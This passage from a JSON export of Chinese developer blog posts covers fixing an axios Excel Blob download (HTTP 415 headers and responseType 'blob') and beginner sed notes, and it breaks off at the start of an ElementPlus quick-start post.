(TAR)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-tar\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.tif .tiff\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTagged Image File Format (TIFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/tiff\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ttf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTrueType Font\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/ttf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.txt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eText, (generally ASCII or ISO 8859-\u003cem\u003en\u003c/em\u003e)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/plain\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.vsd\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Visio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.visio\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.wav\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWaveform Audio Format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/wav\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.weba\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBM audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/webm\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.webm\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBM video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/webm\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.webp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBP image\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/webp\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.woff\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWeb Open Font Format (WOFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/woff\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.woff2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWeb Open Font Format (WOFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/woff2\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xhtml\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eXHTML\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/xhtml+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xls\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Excel\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-excel\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xlsx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Excel (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.spreadsheetml.sheet\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xml\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eXML\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/xml\u003c/code\u003e 代码对普通用户来说不可读 (\u003ca href=\"https://tools.ietf.org/html/rfc3023#section-3\"\u003eRFC 3023\u003c/a\u003e, section 3) \u003ccode\u003etext/xml\u003c/code\u003e 代码对普通用户来说可读 (\u003ca href=\"https://tools.ietf.org/html/rfc3023#section-3\"\u003eRFC 3023\u003c/a\u003e, section 3)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xul\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eXUL\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.mozilla.xul+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.zip\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eZIP archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/zip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.3gp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/3GP_and_3G2\"\u003e3GPP\u003c/a\u003e audio/video container\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/3gpp\u003c/code\u003e \u003ccode\u003eaudio/3gpp\u003c/code\u003e(若不含视频)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.3g2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/3GP_and_3G2\"\u003e3GPP2\u003c/a\u003e audio/video container\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/3gpp2\u003c/code\u003e \u003ccode\u003eaudio/3gpp2\u003c/code\u003e(若不含视频)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.7z\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/7-Zip\"\u003e7-zip\u003c/a\u003e archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-7z-compressed\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e上面的MIME类型就是Content-Type和Accept两个字段的内容。因此,我们应该将请求头改为如下的形式:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eAccept\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后还是出现HTTP 415错误,不过是后端返回的数据的请求头。让后端排查了下,发现是Spring的代理把请求头改成\u003ccode\u003eapplication/json\u003c/code\u003e了,所以前端这才会出现415的错误。\u003c/p\u003e\u003cp\u003e但是,还有一个小问题没解决,所以下载还是用不了。\u003c/p\u003e\u003ch2 id=\"问题2-Blob\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E9%97%AE%E9%A2%982-Blob\" class=\"headerlink\" title=\"问题2-Blob\"\u003e\u003c/a\u003e问题2-Blob\u003c/h2\u003e\u003cp\u003e改了两边的请求头并确定都没问题后,发现虽然能正常下载了,但是下载的内容Execl还是不能打开。但是最奇怪的是,APIfox下载的Excel是可以打开的。遂对比了下APIfox和我的代码下载下来的Excel文件,发现我的好像大了一点。\u003c/p\u003e\u003cp\u003e于是在搜索后,又给axios加上了\u003ccode\u003eresponseType: \u0026#39;blob\u0026#39;\u003c/code\u003e的参数,并且给生成Blob的地方也加上了\u003ccode\u003eapplication/vnd.ms-execl\u003c/code\u003e的参数。再次尝试时,下载已经能正常工作了。\u003c/p\u003e\u003cp\u003e于是我猜测,可能是下载时没有将后端返回的数据转换成Blob数据而直接存入Blob对象,引发了数据错位的问题,导致文件大了一点,并且不能正常打开。\u003c/p\u003e\u003cp\u003e修改后的代码:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title function_\"\u003eserviceAxios\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003emethod\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eurl\u003c/span\u003e: \u003cspan class=\"string\"\u003e`/template/export/\u003cspan class=\"subst\"\u003e${\u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.form_data.id}\u003c/span\u003e`\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eAccept\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003edata\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eresponseType\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;blob\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003cspan class=\"title function_\"\u003ethen\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eres\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eisShow\u003c/span\u003e = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003edownload\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eres,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e.\u003cspan class=\"property\"\u003ename\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003esuccess\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载成功\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003cspan class=\"title function_\"\u003ecatch\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eerr\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eerror\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载失败:\u0026#39;\u003c/span\u003e + err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就行了。里面的\u003ccode\u003edownload()\u003c/code\u003e是随便封装的一个下载Blob文件的工具函数,参数分别是blob数据,MIME类型和文件名。\u003c/p\u003e\u003ch2 id=\"反思\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E5%8F%8D%E6%80%9D\" class=\"headerlink\" title=\"反思\"\u003e\u003c/a\u003e反思\u003c/h2\u003e\u003cp\u003e这学期学计网的时候,重点学的部分是物理层,数据链路层,网络层以及传输层。唯一剩下的一层应用层则因为课时压缩直接压没了(但是期末大题还是考了SMTP协议)。但是恰恰是应用层这一部分在日常前端开发中使用最多。\u003c/p\u003e\u003cp\u003e这侧面反映出来了大学教育体系的一些问题,也提醒我们,书不能看一半,趁着大学有时间,尽量让自己的知识面更加全面一些,这是绝对值得的。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/"},{"title":"sed学习笔记","time":"2023-07-10T08:17:33Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e之前学了Vim,不过Vim不太容易和其他命令行工具结合实现一些自动化任务。随后我将目光投向了sed和awk,它们二者都满足这个条件:\u003cstrong\u003e可以将一个源的数据经过一些预定义的变换,输出到另一个源中\u003c/strong\u003e。这其中,我对\u003ccode\u003esed\u003c/code\u003e相对更加熟悉一些,awk我感觉可能更复杂一些,而sed只需要正则表达式就行。比如我之前接触到的第一个sed表达式:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -i \u003cspan class=\"string\"\u003e\u0026#39;s@^\\(deb.*stable main\\)$@#\\1\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/apt/termux-main stable main@\u0026#39;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$PREFIX\u003c/span\u003e/etc/apt/sources.list\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面那段是termux的换源指令。单就命令格式上来看,我觉得和Vim的\u003ccode\u003e%s\u003c/code\u003e替换表达式比较接近。\u003c/p\u003e\u003cp\u003e那么就开始正篇吧:sed的快速入门。\u003c/p\u003e\u003ch2 id=\"基本介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%9F%BA%E6%9C%AC%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"基本介绍\"\u003e\u003c/a\u003e基本介绍\u003c/h2\u003e\u003cp\u003esed是一个流编辑器,它可以对文本文件或标准输入进行处理和编辑。sed的基本用法是:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed [options] \u003cspan class=\"string\"\u003e\u0026#39;script\u0026#39;\u003c/span\u003e file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,options是一些可选的参数,script是一些sed命令,file是要处理的文本文件。下面是一些常用的options:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e-n\u003c/code\u003e:只打印匹配到的行,不打印所有行。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-e\u003c/code\u003e:可以指定多个script,按顺序执行。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-f\u003c/code\u003e:可以从一个文件中读取script。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-i\u003c/code\u003e:可以直接修改原文件,而不是输出到标准输出。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-r\u003c/code\u003e:可以使用扩展正则表达式。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003esed的script由一些地址和命令组成,地址可以指定要处理的行,命令可以指定要执行的操作。下面是一些常用的地址和命令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e地址可以是一个数字,表示行号,如\u003ccode\u003e3\u003c/code\u003e表示第三行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是一个范围,表示行号之间的区间,如\u003ccode\u003e3,5\u003c/code\u003e表示第三行到第五行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是一个正则表达式,表示匹配该模式的行,如\u003ccode\u003e/^abc/\u003c/code\u003e表示以abc开头的行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是\u003ccode\u003e$\u003c/code\u003e,表示最后一行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果不指定地址,默认对所有行进行处理。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ea\u003c/code\u003e,表示在当前行后面添加一些内容,如\u003ccode\u003ea\\newline\u003c/code\u003e表示在当前行后面添加一行newline。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ec\u003c/code\u003e,表示用新的内容替换当前行,如\u003ccode\u003ec\\newtext\u003c/code\u003e表示用newtext替换当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ed\u003c/code\u003e,表示删除当前行,如\u003ccode\u003ed\u003c/code\u003e表示删除当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ep\u003c/code\u003e,表示打印当前行,如\u003ccode\u003ep\u003c/code\u003e表示打印当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003es\u003c/code\u003e,表示用新的内容替换匹配到的内容,如\u003ccode\u003es/old/new/g\u003c/code\u003e表示将old替换为new,g表示全局替换。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"示例:\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%A4%BA%E4%BE%8B%EF%BC%9A\" class=\"headerlink\" title=\"示例:\"\u003e\u003c/a\u003e示例:\u003c/h2\u003e\u003cul\u003e\u003cli\u003e打印1-3行:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -n \u003cspan class=\"string\"\u003e\u0026#39;1,3p\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e删除1-3行:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;1,3d\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e在所有行前加#:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;s/^/#/g\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e将所有字母大写:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;s/.*/\\U\u0026amp;/g\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"参考资料\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"参考资料\"\u003e\u003c/a\u003e参考资料\u003c/h2\u003e\u003cp\u003e¹: \u003ca href=\"https://www.runoob.com/linux/linux-comm-sed.html\"\u003eLinux sed 命令 | 菜鸟教程\u003c/a\u003e\u003cbr/\u003e²: \u003ca href=\"https://zhuanlan.zhihu.com/p/181734158\"\u003esed 命令快速入门 - 知乎\u003c/a\u003e\u003cbr/\u003e³: \u003ca href=\"https://zhuanlan.zhihu.com/p/145661854\"\u003esed完全教程 - 知乎\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"ElementPlus快速入门","time":"2023-07-09T17:13:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"快速开始\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\" class=\"headerlink\" title=\"快速开始#\"\u003e\u003c/a\u003e快速开始\u003ca 